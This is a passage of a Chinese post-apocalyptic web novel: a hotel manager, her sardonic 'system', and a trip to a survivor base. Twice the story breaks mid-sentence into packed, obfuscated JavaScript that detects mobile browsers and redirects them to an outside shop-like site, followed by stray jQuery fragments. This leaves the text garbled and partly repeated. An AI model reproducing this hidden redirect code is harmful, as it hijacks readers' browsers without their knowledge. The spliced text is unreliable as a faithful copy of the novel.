“......姐姐，这好香啊。”徐冬青盯着桌子中间的鸡肉，努力吞咽口水。春奶奶笑着摸摸她的脑袋，蓉姨站在中间，对着下来的何莱说：“鸡汤刚在炖了。这边的肉正好切了，让每人能分一块，大小都差不多。” “辛苦了。”何莱说。 大家手中基本都有之前留下来的一次性筷子，没人会舍得扔掉。此刻众人围着大厅里的茶几和餐桌，捧着各自的压缩饼干，纷纷开始夹菜吃饭。 平日里毫无存在感的母鸡菲菲终于敢从厨房里溜达着出来，心有余悸地探着脑袋，蜥蜴被它托在背上沉睡。那头叫肖恩的绵羊平日里总被绑在楼梯下边，生怕它再跑出去把酒店本就脆弱的种植园给啃了。 吃饭的时候，何莱简单讲了自己要和吴亓出去搜寻他家人下落的安排，告知众人，他们大约会在十天内回来。 徐冬青一听，连饭也不吃了，就仰起脑袋看着她。 “我不在的时间里，就由王叔和倩姐帮忙看着酒店，大家尽量不要外出。如果......”何莱顿了顿，看一眼吴亓：“如果超市的人上门，先藏起在杉和约棠，看看情况，听他们说条件。需要缴纳物资就先缴纳，一切都等我们回来再说。” 吴亓低下头，什么也没说。 “但如果他们已经来者不善，或者已经发现了车的事情——大家要听王叔指挥，保命要紧。今天吃完饭以后，大家都回去收拾出自己的背包，要做好随时撤离的准备。”何莱说。 “店长，你看起来真不像一个想要好好经营酒店的人。”系统说。 “别胡说，我可敬业了。”何莱毫无自觉，径直夹了一块苦瓜，缓慢地往自己的嘴里塞去：“可以再给点别的蔬菜种子吗，亲爱的管家？” “......等下次升级吧。”系统发出轻微的嗤声，即使没有画面，何莱也敏锐地察觉到对方好像翻了一个白眼。 “姐姐，你又要走啊。”徐冬青突然开口，一双大眼睛望着何莱，一眨不眨。 “冬青。”何莱弯腰看着她，捧着小姑娘的脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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吴亓和徐冬青在吃完午饭后的不到三分钟就等在了大厅里。或许是同样逃难的缘故，他们需要携带的行李都少得可怜。一人一个小背包，看着彼此半天，实在不想和对方讲话。 此刻何莱店长还在自己的房间里，一边费力地往尼龙袋子里塞换洗的白衬衫，一边开口问系统：“我不在的时候，如果超市的人真来了怎么办？” “别担心，如果酒店失守，你即使在外边也是能被抹杀的。”系统很体贴。 “......想想办法啊！”何莱说：“你不想继续看我把这里建设得兴兴向荣，不靠主角也能活得精彩吗？” “但是到目前为止你都只是在不断输入作弊指令......”系统说：“好吧，新手保护期还在生效，我把酒店大门锁上，行吧？所有人都不许进出。” “那万一着火了或者物资耗空了怎么办？”何莱追问。 “……你真的烦死了！” 系统很拟人化地叹一口气：“那就单向镜，装备期间只有被选中的主角才会注意到酒店的玻璃大门。这是一般只用在主角们初次登场的一次性特殊道具，我给你装上。既然主角永远不会到来，那它也能持续起到隐藏的庇护作用。”系统停了一阵又继续：“等你回来以后，它就作废了。” “你看，如果不是每次敲击都能达成满意的作弊结果，我也不会孜孜不倦地恳求。”何莱说：“无论如何......管家，多谢你。” 多谢你在如此混乱的无序世界里，依旧给了我一个避风港和不断妥协的底线。 “哼哼。”系统发出讥讽的声音：“只是一点平衡世界难度的手段，不要这副感激涕零的模样。店长，瞧瞧你那不值钱的表情。” “那帮我把剩下的晶核都兑换成翡翠币，全部用于购买套餐，便当都放在酒店冰箱里。但矿泉水放我另一个包里，我要带走。”何莱利落地一手一个尼龙袋，扛在背上就准备推门往外走。 “好吧，遵命。”系统说：“期待你能多带一点人回来升级酒店，现在的厨房看起来实在太狭窄了，你知道的，那头羊越吃越肥，好几次半夜卡在过道里惨叫。” 17. 母鸡、绵羊和蜥蜴进行曲17 大约十分钟后，一行人匆匆离开酒店。 王守诚和许在杉帮忙扛着尼龙袋，何莱装进去的饮用水格外沉重，王守诚拎起来一声不吭。 负责开路的何莱与吴亓利落地将所有挡路的丧尸都斩开，一个挥舞长刀像个旋转的陀螺，一个则不断从指尖射出冰晶——异能耗尽就换刚从酒店领到的帕兰砍刀。 吴亓掂量着手中的新武器，望着刚被他们劈开的丧尸，轻轻松了口气。 徐冬青这位小姑娘脚程很快，从一辆车奔向另一辆，在地下停车场里几乎转了个遍，最终在灰色的小皮卡面前停下来。 只见她掏出自己随身的工具小包，趴在车窗上捣鼓几下，就降下玻璃。随后再伸手进去用铁丝与几块铁片来回摸索，汽车竟然真的被打上了火。 “油箱情况还行，应该够单程。”何莱对着王守诚提供的大地图皱起眉：“等到了那边再随机应变吧。” 许在杉喘着气，他背上满满一袋压缩饼干确实有点重。因为何莱他们在车上，盒饭不好保存，因此携带的都是方便物资。 许在杉担忧地发问：“真的不需要我去吗？我好歹也有异能呢。” 吴亓看了他一眼。 “你是防御型的，酒店需要有人坐镇。”何莱安慰他说：“吴亓的异能足够用了。” “注意安全。”王守诚看着何莱坐进副驾驶，抬手与她碰了碰拳。 徐冬青爬到后座，将几袋物资放好，又替自己披上那条一直带着的小毯子，小脸紧绷：“吴亓哥哥，你真的会开车吗？” “我会。”吴亓坐进驾驶座：“好几次去希望基地购买物资的路都是我开的。” “真厉害啊。”何莱夸奖。 “……不要用这种夸孩子的语气。”吴亓压低嗓音：“好了，大家都坐稳没有？冬青，系安全带。” “系了。”冬青听话地点点头，视线紧紧黏在吴亓手中的方向盘上。小姑娘欲言又止了一下，最终还是紧抿双唇，牢牢抓住自己身上的安全带。 “我也OK.”何莱关上车门，冲王守诚与许在杉挥了挥手：“回去的路上小心。” 许在杉和王守诚并排站在地下车库里，一齐望向灰色小皮卡费力爬坡驶离的背影。许在杉率先叹了口气：“我怎么这么不放心呢？店长这是带着两个孩子就走了啊。” “你也没有大到哪里去。”王守诚抬手拍拍他的肩膀：“没办法了，末日里或许没有孩子。” “唉......回去吧。这里阴森森的。”许在杉甩甩酸痛的手，不安地打量着昏暗的停车场，耸起肩膀摇头：“总感觉有什么东西在盯着我们。” “店长不在的这小半个月，我想给你们做个特训。”王守诚忽然开口：“尤其是你。防御系异能一定要搭配良好的体能和身手，才能发挥出最大效果，对团队来说有好处。你……做好心理准备。” “啊......嗯，嗯！” 许在杉先是苦着脸应一声，随后像是想到什么，表情也逐渐认真起来：“我明白，我会努力的。” “往右转。”何莱摊开地图放在膝盖，谨慎地望着面前不断变化的街景，仔细对照着简易的绘图标识确认：“这个区域的丧尸密度比较低。但出去以后可能会有突发情况。”她想了想，还是没把酒店附近的特殊之处就这么说出来。 “明白。”吴亓也聚精会神地看着前方：“我们可能会遭遇到丧尸群围截拦堵，到时候要么你开窗去捅开，要么我用异能。” 何莱的偃月刀被放到了后排，正在冬青的脚下滚来滚去。于是何莱回头望了一眼：“那我爬到后座去？” “我来吧。”冬青抱起刀，有些吃力，但坚定地冲着何莱开口：“没问题。” 何莱正想坚持接过来，就发现从徐冬青的肩膀上探出一个绿色的脑袋。 “小扎！”何莱惊呼：“你怎么也出来了？！” 吴亓扭头：“什么东西——啊！” 灰色皮卡一歪，迅速地在转弯处撞向围墙，何莱被安全带紧紧勒住，往前猛地一扑，蜥蜴也飞旋着砸到了前挡风玻璃板上，缓缓地滑下来之后一动不动。 何莱急忙抓过来，那小家伙的腿抽了抽，还活着。 她又连忙回头看后排的冬青，这小家伙捂着脑袋一脸不爽，透过后视镜看着吴亓手忙脚乱地扶稳方向盘重新起步。 “是我的错。没事，你慢慢开。”何莱急忙安抚，随后看向徐冬青：“……那就拜托你了。如果有靠近的丧尸，就开一条缝，把他们捅开。” “好！”冬青抱紧刀把手，郑重地点头。 “已经有丧尸被吸引来了。”吴亓踩下油门，灰色皮卡车飞快地驶离社区。 何莱抱着蜥蜴，掏出自己的蓝色蝴蝶刀，望向右边的车镜，压低声音。 “希望一切顺利。” “真是担心他们啊。”双百百撑着脑袋趴在前台的桌上，用手指戳了戳兑换机，接着她抬头，对坐在接待椅上拿着张白纸奋笔疾书的梁画开口：“你干什么呢？” “我在设计酒店的布防图。”梁画头也不抬：“我昨天问了王叔，超市那边的人主要就一个火系异能难对付，别的都是打手。”她的铅笔在纸上勾画：“只要他们敢来，先把他们困在一处，做个伏击陷阱，先绊再砸，总能出其不意吧？” 谢柯拎着许约棠借给她的长剑走过来，低头看了眼图纸，又缓缓开口：“那个火系异能者，我见过。” “什么时候？”双百百猛地扭头。 “有一次帮忙修拖拉机……”谢柯慢吞吞地回忆：“在种植地那边，和他打过照面。”她尝试回想着：“他是个脾气暴躁又冲动的性格，但是身边总有一位军师，有点阴险。”总拿军团合作的噱头，用高层的名字造势，逼她帮他们“顺带”修点东西，再做点东西。 如果不是军团的巡逻队恰巧经过，恐怕她那天都要被强行架着拖走，宣称“自愿”加入超市，回去当他们彻底的免费苦力。 “哎，小倩你怎么下来了！快躺好，快躺好！”在大厅里收拾的蓉姨甩着抹布大声问，倩姐在葛爷爷的搀扶下缓慢地走下楼梯，虚弱地发出几声吴亓的名字，询问他的下落。 “吴亓那孩子啊？已经和小莱他们走啦，还带上了冬青那孩子。”蓉姨继续擦着桌子：“你不用太担心，小莱那孩子也是个心善的，她说答应了要帮你找女儿，就一定会找回来的。” 梁画听完一连串“那孩子”的称呼，忍不住抿嘴笑，双百百若有所思：“店长看起来不像学生，年纪也没有很大，还没问过她多少岁呢？” 梁画也跟着想了想：“应该和我们差不多？真看不出来，下次问问生日。” 王守诚和许在杉进门的时候，就是这么一副难得平静的其乐融融情景。糖糖蹲在楼梯下和绵羊打得有来有回，把自己压在那头羊蓬松的毛发里，乐得咯咯直笑。三个小姑娘还在认真地谈论着什么，眉眼之间都是严肃，不断在纸上写写画画。老人们围在沙发上的倩姐旁边，你一言我一语地在询问情况。而倩姐的面色已经比昨天好了许多，能够依靠手势比划简单地表达意思，望见王守诚他们走来，露出一个感激的笑容。 “我姐呢？”许在杉四处张望。 “在菜园里压腿。”谢柯看过来：“她说要趁这阵子把身手恢复到末日之前，让你回来以后抽空去找她一起。我也加入健身小队了。”她扬了扬手中的剑，望向王守诚：“王叔，还有剑吗？我也想学这个。” “基地里还有。找个安全时候偷偷带你们去一趟。”王守诚一愣，开口回答，也对趴在前台的剩下两位姑娘招了招手：“都过来吧，希望基地的军团有几套好用的防身术，如果大家想学，我都会认真教的。” “谢谢王叔！”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571878|142931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 双百百和梁画也快步赶到，笑意盈盈。 “……好吧，好吧。”系统待在一片漆黑的沉寂后台，虚无的意识之海中。它注视着这一群幸存者们各忙各的，一片热火朝天，自言自语地埋冤起来：“真能折腾。像你一样，店长大人。我勉强替你照看几天。” “……即使你死在外边了。”系统停了停。 另一边。 随着夜幕降临，吴亓靠在副驾驶上沉沉睡去，何莱小心翼翼地握着方向盘，近光灯照射着田间小路的前方。 她在白天靠着观察学习驾驶，上手很快，吴亓在换给她开的前一个小时还很紧张，随后就抵抗不住困倦昏昏睡去。 后排的冬青也已经睡得东倒西歪，一只脚搭在竖起的长刀旁。蜥蜴趴在杆子上，一双小眼睛在夜晚中几乎在发光，精神十足地左右瞭望。 何莱举起右手紧握着的地图，他们已经快行进了一半的路程。等到白天，再换醒来的吴亓开车，估计他们能赶在暮色降临的时候抵达永恒基地。 店长大人通过后视镜看一眼冬青熟睡的小脸，颇为心虚地伸手摸向自己的背包——从医药大楼的底下实验室里带出来的小零食，她一直没舍得吃。本来应该分给小孩子们，但夜间行车实在让人困倦，连日来紧绷高压的神经也急需甜食的抚慰。 何莱缓慢地啃着巧克力，含在嘴里感受着它的味道。舍不得咀嚼，直到整块都彻底融化在舌尖，才舍得啃掉下一个小块。 苦涩与醇香带着回甘浸透在唇腔，让她不断眨动眼睛，望向前路。 大型的公共道路基本上都在末日爆发之初被慌乱的车流给堵死，大量困在其中的丧尸盘旋在附近，所以王守诚给何莱画出的地图是后来的幸存者们摸索出并心照不宣维护的那些互通道路。虽然有散落的丧尸聚集，但并未造成太严重的影响。 只要这辆车身极高的灰皮卡不被逼停，他们就处在安全的移动保护壳下。 “嗯……”吴亓发出声响，抱着牛皮刀鞘动了动，何莱连忙将剩下的巧克力塞进嘴里，将包装袋扔到脚下，露出认真驾驶的表情。 “现在几点了？”吴亓嘀咕一句，抬起自己的夜光手表，自问自答：“凌晨三点半......店长，你要不要歇一会？” “没事。”何莱目视前方，忍住刚才想要打的哈欠：“这里不能停，灯光太显眼了，一直有丧尸跟在我们身后。” “喔。”吴亓回头看一眼熟睡的徐冬青和后视窗外紧跟不放的那群丧尸，压低声音吹了声口哨：“他们还真是执着。” 他们安静了一会儿，吴亓靠在副驾驶的车垫枕头上开口：“希望基地的运营点，你是怎么决定开下去的？” 他扭头望向何莱：“什么也没有，一开始就靠你和王守诚，还带着个需要照顾的小男孩？” “一开始只有我。”何莱毫无感情地熟练撒谎：“不也开到今天了吗？” “说实话，我没想过你真的能安排好那些老人。还有孩子。”吴亓开口，偷偷指了指冬青：“在末日里，大家都默认老人和小孩是负累。你这么做很冒险。” “孩子们会长大。”何莱想都没想：“老人们......既然见到了，我们又需要，就接过来。”事实上疗养院能一直留着他们，已经是很罕见的事情，不得不说这群老人们在末日之中的运气确实不错。 “是啊。没有人相信还能等到孩子们长大的那一天。也没有人认为老人们应该继续活下去。” 吴亓低下头，摆弄着手上的绷带：“其实——之前我们总是因为这个吵架。我妈。她有点死脑筋，非要为了不相关的一群老人做那些事，结果处处树敌。”吴亓在颠簸的一路上都撑着脑袋，此刻将视线投向漆黑的窗外道路：“其实我并不是真的讨厌那些老人。谁活着都不容易，我只是不想我妈总是大包大揽，我担心那有一天会害死她。” 18. 母鸡、绵羊和蜥蜴进行曲18 “你母亲是个伟大的领袖。她一直在坚持给那些老人们一个好的归宿，而我如果不是因为......总之，倘若没有碰巧的机会，我恐怕不会像她这么做。”何莱说：“我充其量只是个幸运的混蛋。” 吴亓不说话，他弯起手指，轻轻敲击车窗玻璃。过了一阵子，男孩的声音在车厢里响起。 “在这样的世界里，我情愿她不伟大。”情愿她自私和平安无恙，只做他的家人，而非扮演任何人的救世主。 何莱察觉到气氛压抑，转而望向前方被远光灯照亮的小径，及时转移了话题：“你的手怎么回事？为什么一直缠着绷带？”从第一次见面何莱就注意到了吴亓手上的绷带，他在无意识的时候总会摸着缠绕绷带的手腕来回抚摸，像在感受它的存在，又或者只是想要摆脱。 “我的异能。它不总是完全顺应心意。”吴亓解开绷带，左手布满丑陋的疤痕，表面狰狞凹凸不平：“冰块有时候会在我的身体里出现，第一次贯穿我的手臂。特别是刚得到异能的时候。”他耸耸肩：“我问过一些异能者们，他们都或多或少体验过异能失控的滋味。大概是副作用吧、” “你还没和我说过，是在什么情况下觉醒异能的？我听王叔讲过，你之前离开了疗养院。是在那时候吗？” “是啊。”吴亓自嘲地笑了笑：“那时候我想，干脆不去管那一摊子烂事了。疗养院每天都在争吵，来来回回勾心斗角的破烂账，还有一大群只会沉默着逆来顺受的老人。他们的表情和眼神让我不知道该怎么办。” 吴亓展示完毕，缓缓地再次缠绕着手上的绷带，用力地将它勒得很紧：“所有人都很绝望。疗养院里永远死气沉沉，充满仇怨。所以有一天晚上，我和我妈大吵一架，就跑了出去。我想过……抛弃那一切。”他闭了闭眼睛，不让自己说出更直接的答案。他不想再被迫接过那些责任，像他母亲一样强撑着庞大的团队，强迫自己变成另一个人活着。 “然后呢？” “遇上了尸潮，我以为自己死定了。”吴亓沉默地接过何莱递过来剩下的巧克力，掰了一口塞进嘴里，继续在黑夜之中讲述着过去的故事。 被丧尸追逐缠斗的男孩爬上二楼，十四岁的吴亓在挡雨布棚上陷入昏迷。他很幸运没有被咬伤，但也很不幸，携带的所有物资都在逃命中丢失。 围着他的重重叠叠丧尸群发出可怖的声响，整夜将他围绕，揭示着他被困此处，孤身一人的残酷现实。 但在原地被活活困死之前，吴亓摸到了口袋里的最后一颗晶核。还是他妈妈在前一天早上硬塞过来的，让吴亓出门的时候去附近的小基地看看有没有小葱苗卖，有位成员的生日快到了，大家想要为那个人做一份简单的煎饼。末日之后，葱反而成了最常见的作物，或许是因为易于种植与野生随处可见，价格友好。 这让他感到不能理解的不必要温情，最终成为了将他带出死神怀抱的筹码。 “我觉醒了。”已经十七岁的吴亓平淡地总结：“反正等我醒来的时候，周围的丧尸都已经变成了冰雕，把我围成了一圈。挡雨布到处都是破洞，我的手臂也被冰锥刺穿，钉在了墙上。”他语气平淡得仿佛没有任何痛楚穿越三年的时光被留存。 “不同的异能在觉醒的时候，状况都不太一样吗？”何莱说：“我以为是睡一觉就好了。” “攻击性越强的异能，在觉醒的时候反应就越大。”吴亓说：“或许也跟我当时陷入危机有关。我听年纪大的那些人说......异能还会影响到人的性格，比如火系和雷系会变得暴躁偏执，冰系相对冷漠，那之类的。”他耸耸肩：“但我觉得，那只是有了超能力的人们开脱恶行的说辞。忽然发现自己可以为所欲为，没有人能阻拦，所以才会改变性情得那么彻底。”吴亓撇过脑袋，厌恶地嗤一声：“我不想给超市里的那些畜生们找借口。” “和我说说超市里的人吧。”何莱打转方向盘，进入岔路。后排的徐冬青也被他们的动静吵醒，揉着眼睛坐起来。 “嘿。这个给你。”何莱随手将最后一条巧克力往后座抛去。 “......姐姐！”小姑娘眼前一亮，小心翼翼地接过巧克力，珍惜地捧在手掌，对着车窗喜滋滋地反复欣赏亮晶晶的包装纸，随后安安静静地坐在自己的位置上，乖巧地不再出声。 “这好东西究竟是哪来的？”吴亓扬起手中巧克力的空包装纸，他囫囵吞枣地吃了一口，还在回味甜蜜滋味。 “这不重要，别告诉其他人。”何莱沉稳地糊弄过去：“也不知道超市里会不会还有零食储货。” 吴亓精神一振：“肯定有，那是我们这片最大型的超市了，末日爆发是......”他皱起眉算了算：“快放暑假的时候，肯定有补货。” “里边有多少人？” “最多的时候，有过八十多人。”吴亓如数家珍：“后来死了不少人，所以他们又去抓了一些。” “领头的火系异能者叫张荆，他身边的一对双胞胎打手在末日之前就是出名的散打选手，都姓方，一个方洪一个方涛。还有个叫吕田广的军师，一水儿的阴险小人。”吴亓神情愤愤：“他们也不是铁板一块，在超市内部各自还有自己的心腹，帮着监控那些被骗或者被强抢过去的幸存者。”他停了停：“那对姐弟可能跟你说过，超市里一直有很严重的阶层划分，还大搞检举揭发的那一套。逃跑和拉拢关系的下场都会很惨，也是王荆刻意让人这么做的，最后所有人都只能听话服从，老老实实留下来做他们的奴隶。” “那他们一般怎么解决物资问题？”何莱问：“超市的物资也不是无限的，养那么大一群人，这样消耗下去迟早有一天会耗尽的。” “主要靠抢掠附近的求生团队，扫荡居民楼，美名其曰收保护费。他们的名声一直很烂，所以能赶去投奔的基本上都是那一路货色，战斗力反而不弱。”吴亓露出嫌弃的表情：“至于养一大群人？他们才没有那么好心呢，充其量给点垃圾或者很差的食物，这三年来被活活饿死的也不计其数。” “他们有种地吗？或者鱼塘？附近的小公园里好像有个水池，我那天看见了。”何莱追问：“末日中有自行产出的地方多吗？” “你听起来像完全不了解这边。”吴亓看了她一眼，最终还是没说什么，继续向她介绍：“其实除了基地和一些实力强的团队，普通在外边游荡的人们都不会考虑种植之类的事情。因为朝夕不保，活一天是一天，得到晶核或者找到那些基地在收购的物品就去换点吃的走。毕竟外边的突发状况这么多，辛苦劳作永远会为他人作嫁衣。”他轻哼了一声：“就说我们疗养院吧，只在阳台上用盆栽罐种了点小葱，也被超市的拔走了。”他显然对此依旧耿耿于怀。 灰色皮卡车在荒野的小坡道上颠簸地行驶，一只蜥蜴悠闲地趴在挡风镜旁跟着一颠一颠摇晃着身子。 “对了。”吴亓停了一会，又好奇地反问她：“你是基地里负责研究的吧？晶核除了和异能有点关系，还有什么别的用途吗？” “嗯......”何莱大囧，面对突如其来的深夜小测，索性硬着头皮胡扯：“希望基地发现它可能、有望，大概会成为新的动力能源，搞不好就能解决末日里水电的问题。”她握着方向盘的手一紧，事实上这话也没说错，但传出去一定会引来众人的疯狂，于是连忙开口叮嘱：“在没有明确结论之前，不要对外说出去。谁都不能。” “这样啊。”吴亓若有所思：“难怪你们酒店能开起来呢。”他到底年纪还小，没有往深里探究，何莱如释重负松一口气。 “等到忙完以后，我还想在酒店里开辟新的种植场，再扩建一点面积吧。”何莱打了个哈欠：“会有办法的，王叔认识在建设方面能够帮上忙的异能者。”她又想了想：“如果那位异能者还活着的话。” “我来开吧，你睡一会。”吴亓回头看一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13571879|142931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还跟在车后的几只丧尸，学着何莱平时的样子打了个响指：“不用担心。远程攻击是我的强项。既然晶核还有这种潜力......我下车把它们解决了，看看能不能再来一颗。” 还在翡翠酒店里沉睡的王守诚忽然被一个喷嚏惊醒，睡眼惺忪地看向漆黑的窗外，又看向睡得正香的儿子，揉了一把迷迷糊糊倒头继续睡下了。 十二小时后。 “醒醒，店长，我们到了。” 暮色时分，又经历两轮驾驶座对调和间断昏睡，吴亓终于停下灰色皮卡车，压低声音。 何莱惊醒过来，坐起身左顾右盼：“到了？到哪儿了？” 他们面前是一块空地，往远眺也没有任何基地存在的影子。 “我说，我们的油用到底了。”吴亓说。 徐冬青已经拎着偃月刀费力地挪下了车，何莱连忙接过手，将自己的蝴蝶刀递了过去：“你还是用这个防身吧。平时躲在我后面，不要急着和丧尸对上。”她担心冬青有了武器反而逞强，连忙补充：“你的力气还太小了，能跑就跑，明白吗？。” “嗯！”冬青郑重点头。 “从这里走过去，差不多是这个方向。”吴亓对着地图比划，指向正西方：“走吧。”他接过冬青背着的尼龙袋：“背不动你，但替你拿袋子可以。”在车上坐了太久，此刻走动起来只觉得浑身酸痛，脚都不像是自己的了。 小姑娘看他一眼，也不说话，傲娇地背着双手，握着那把漂亮的蓝色蝴蝶刀，扭着脑袋就快步往前跑去，小短腿蹬得飞快。 “哎哎哎！慢点慢点！”何莱拎着那把有些夸张的偃月刀，一路小跑着追了上去，回头看一眼吴亓：“我去追她，后尾箱的袋子也……拜托你了。”水和饼干在路上消耗了不少，剩下的重量对于吴亓来说并不算太重的负担。 “......” 吴亓站在原地挠了挠脸，又低头检查了一下皮卡，确认后边没有跟上来的丧尸，用力拍了拍车门和交通载具道别，才背着两个尼龙袋小步追赶上前边的一大一小两位伙伴。 自从在楼梯上遇见这个奇怪的店长后，他逐渐习惯了那些莫名其妙的武器，也开始跟上这样跳脱的节奏。 他们在天黑之前抵达了一处废弃的报刊亭，通过铁闸门上卷边泛黄的海报，可以判断永恒基地就在附近——根据系统提供的情报，这地方本是一处影视拍摄城，在尸潮爆发以后就被军队接管，改造成了接收附近幸存者的基地。 值得一提的是，他们负责轮值和基地内巡逻维持秩序的成员大部分都只是后来征召的民兵，而真正的军队则被分成了好几个团队，搭配异能者外出寻找幸存者和收集物资，训练有素，配合默契，极大程度上减少了伤亡。 “天亮再过去，我们整顿一下。” 何莱重重地拉下铁门，拍干净双手沾上的灰尘，一屁股坐在门边，松了口气。 显然是之前有过相同境遇的求生前辈也曾在此短暂歇息，报刊亭的小铁门被钻出了几个很小的孔洞用于透气，而原本留在外边的锁头也被改成了从内部就可以上锁的装置，让他们今晚留在这儿的安全性上升了不少。 徐冬青将她那好不容易在酒店里洗干净，又带出来历经磨难重新变回脏兮兮的毛毯铺在地上，硬是要拉着何莱过来，紧紧依偎着她，一起看向对面的吴亓。 空间里一片漆黑，只有从小洞里透出来的月光，隐隐约约地照着彼此的大概轮廓。 吴亓坐在地上也打了个哈欠，挣扎着保持清醒，最终靠在报刊亭的墙板上缓慢地闭上了眼睛。 末日是一种神奇的境遇，它能让几个原本毫不相干的人相逢同行，彼此依靠着休息与生存。何莱在又一次入睡之前迷迷糊糊地想，即使没有主角出场，闪耀地宣布世界就此拯救，他们几个竟然也乱七八糟地走到了这里。 也不知道明天会怎么样。她想到这里，忍不住苦笑一下。 19. 母鸡、绵羊和蜥蜴进行曲19 永恒基地，天色已经微亮，站在城墙上的轮值士兵点着脑袋，经历一整夜的值守，在清晨的凉风中眯着眼睛，几度要倚靠在现代人修建的城墙上一头栽倒过去。 站在那位成员旁边的负责队长看了眼大门外的小路，发现三个身影正在朝城门靠近。一个明显身形矮小的孩童，旁边是普通个头的男性，还有一个稍微比他矮上一点——但提着一把超长砍刀的女性。 队长揉了揉眼睛。随后他面色一凛，迅速地拍醒旁边的队员：“别睡了！下去看看，有人来了。”他心里嘀咕一句：“亲娘咧，来者不善啊。” “有人看见我们了。”吴亓抬起头望向被漆成土色的城门，经历末世中的洗礼，被磨损的豁口里透露出原本的红砖，与那些陈年血迹混在一起，倒多了几分沙场征战的气势：“店长，你的刀是不是有点太吓人了啊？” “不就是普通的武器嘛！我们还有冬青这个孩子在呢！我们多柔弱啊！”何莱拍拍徐冬青的脑袋，又看看闪着寒光的偃月刀，想了想：“好吧，我承认是有点吓人。”下次出行她要借点没这么拉风的武器，何莱心说。但这把重量不容小视的长刀也的确在末世之中带来了些难以言喻的安全感。 “你们——是什么人？”巍峨的巨型城门旁边，一扇不起眼小门被打开了，探出一个颤颤巍巍的脑袋，今夜值守的民兵大哥盯着何莱手中的偃月刀不敢移开视线：“来做什么？” “我们是那个......希望基地的。”吴亓挠着脑袋，抢先一步答道：“现在基地没了，我带着邻居想来投靠这边。对了，我是异能者。”他竖起食指，凝结成冰块的晶体聚拢在指尖：“我邻居是武术教练，很能打的。” 何莱努力露出一副“是这样没错”的表情，深沉地背手点了点头：“是的，我是刀术比赛的全省冠军，这是我的武器。” 冬青把脸转了过去。 “你们，那个在这里稍等一下啊，我去请示一下队长。”民兵大哥快速地把脑袋缩了回去，门后传来脚步跑远的声音。 “冠军是真的假的啊？”吴亓压低声音。 “我就不信他们还能现场掏出一台电脑来搜索历届冠军让我指认。”何莱说：“反正表演和实战是两回事，表现得很有底气就可以了。” 他们的计划很质朴。进入永恒基地以后，作为异能者的吴亓加入外出的核心战斗团队，何莱则带着冬青进入基地城内探寻，分成两个方向寻找吴悠和他们父亲的下落。 城门旁的小门再次被缓缓拉开了，民兵身后跟着队长一起走出来，队长一手搭在腰间，冲他们扬了扬下巴：“我是负责夜间轮值的小队长，曹麦。旁边这位叫他陈哥就行。”他用大拇指往后一点。 “队长好，陈哥好。”何莱握着杵在地面的偃月刀把，老老实实地逐个问好，吴亓上前一步，主动与曹麦握了握手。 “异能者？”曹麦开口问道，挑起眉：“方便跟我们去做个测试吗，需要登记。”他的语气不容反驳，随后又补充：“当然，异能者在各个基地都会得到特殊对待，在我们这也不例外。一旦确认身份，你的同伴们就能得到更好的安置。” “行，没问题。”吴亓点头，看一眼何莱。 “陈叔，带她们去临时接待处。”曹麦又扬起下巴点了点，对那位民兵压低声音嘱咐：“仔细核查。” “明白，交给我吧。”陈叔往前伸出手给何莱引领：“我们走这边。” 何莱也看一眼吴亓，彼此交换一个眼神，随后她拉着冬青跟着陈叔离开。 吴亓一直盯着她们离去的身影。 “怎么说，介绍一下？”那位队长露出和气的笑容：“我们永恒基地一直是很欢迎异能者加入的。刚才听陈叔说，你的异能是冰系？”他打量着吴亓，吴亓也仔细观察着面前的这位轮值队长，大约二十五六的年岁，穿着统一的基地巡逻队制服，但在腰带和长靴上都和刚才离去的民兵有所区分。曹麦长着一张普通的脸，不会给人留下太深的印象，但是微笑的时候有种自带的亲切气场，吴亓却皱起眉。 这位叫曹麦的队长留给他的初印象并不是这样，一种违和的潜意识隐约地提醒着吴亓，他心里多了一层警惕。 “我们边走边说，我带你去见我的上级。”曹麦依旧微笑着，已经用手搭上吴亓的肩膀，揽着他往主路走去。 另一边，何莱同样打量着陈叔，三十多岁的年纪，脸边有一圈刚长出的胡茬，眼圈很重，看起来平日里相对劳累，此刻也是一副疲倦的表情。他闷声走在一旁，没有想要开口聊天的打算。于是何莱收回视线，牵着冬青的手默默地走在身后，直到被陈叔带到招待处。 “在这里登记入住就行。这地方一般是用于来往行商住宿和给刚投奔永恒基地的新成员过渡用的，你们先等一下，我和老板娘讲一声，你们是曹队长交代的，先免费住着。”看来永恒基地对于异能者和同伴的待遇的确不差，何莱算了算仅剩的晶核，也松一口气。陈叔和她交代一声就推门进去，在里边待了几分钟，何莱只能听见隐约的人声。 等陈叔出来时，露出一副总算下班了的如释重负表情，对着何莱挥了挥手：“有事可以找老板娘，她和曹队认识，我先回家补觉了啊。” 整个基地就这么一家招待处，其余的成员们要么挤在多人宿舍里，要么斥巨资买下单间的资格。陈叔就是这么一位幸运儿，和老婆在末日来临后一直待在一处儿，两人找到永恒基地以后也是发狠地拼命干活，几百天终于攒够晶核，搬进了基地里最边缘的一栋后勤楼的其中一间房，虽然只有不到二十平，但两人依旧很满足。这毕竟是末日里的家。 